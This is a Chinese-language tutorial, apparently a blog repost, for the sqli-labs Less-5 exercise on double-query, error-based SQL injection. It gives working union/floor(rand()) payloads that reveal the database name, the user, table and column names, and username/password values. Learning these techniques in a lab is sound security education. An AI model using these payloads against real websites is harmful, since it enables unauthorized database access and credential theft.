【SQL注入】Less-5双注入GET单引号字符型注入

Less-5双注入GET单引号字符型注入

什么是双注入?

双注入就是嵌套子查询,多走一条查询或者数据排序途径,获取想要的数据,例如select …(select …),里面的那个select被称为子查询,它的执行顺序先执行子查询,然后再执行外面的select,双注入主要涉及到了几个sql函数利用:

rand()随机函数,返回0~1之间的某个值
floor(a)取整函数,返回小于等于a,且值最接近a的一个整数
count()聚合函数也称作计数函数,返回查询对象的总数
group by cluase分组语句,按照cluase对查询结果分组

1、双注入的原理

当一个字符串函数,例如concat函数后面如果使用分组语句就会把查询,的一部分以错误的形式显示出来。

2、爆开数据库

payload

?id=0'union select count(*),1, concat('~',(select database()),'~',floor(rand()*2)) as a from information_schema.tables group by a--+

第一次结果得不到,那就那就在提交请求几次,因为rand是一个随机数;下面payload也是如此。

3、爆开数据用户,mysql系统函数user()

payload

?id=0' union select count(*),1, concat('~',(select user()),'~', floor(rand()*2)) as a from information_schema.tables group by a--+

4、爆开数据库表名

扫描二维码关注公众号,回复: 13145989 查看本文章

payload

?id=0' union select count(*),1, concat('~',(select concat(table_name) from information_schema.tables where table_schema=database() limit 1,1),'~',floor(rand()*2)) as a from information_schema.tables group by a--+

3、表开数据列(字段)

payload

?id=0' union select count(*),1, concat('~',(select column_name from information_schema.columns where table_name='users' limit 1,1),'~',floor(rand()*2)) as a from information_schema.tables group by a--+

4、爆开数据值

payload

?id=-1' union select count(*),1, concat('~',(select concat_ws('[',password,username) from users limit 1,1),'~',floor(rand()*2)) as a from information_schema.tables group by a--+

该实验细节讲解

一、在payload中limit 1,1 表示第2条(行)数据,取1条数据
例如:
sql语句select * from 表名 limit 0,10;
表示取表中的前10条数据(从第1条开始,取10条)

二、爆出来的值I-kill-you[Angelina 其中 [为分隔符

三、concat_ws()函数用法concat_ws()(separator,str1,str2,…)
1、concat_ws()函数是concat()函数的特殊形式。
2、separator第一个参数是其它参数的分隔符,分隔符的位置放在要连接的两个字符串之间。
3、分隔符可以是一个字符串,也可以是其它参数。如果分隔符为 NULL,则结果为 NULL。函数会忽略任何分隔符参数后的 NULL 值。但是concat_ws()函数不会忽略任何空字符串。 (然而会忽略所有的 NULL)。

猜你喜欢

转载自blog.csdn.net/Mitchell_Donovan/article/details/115335855
今日推荐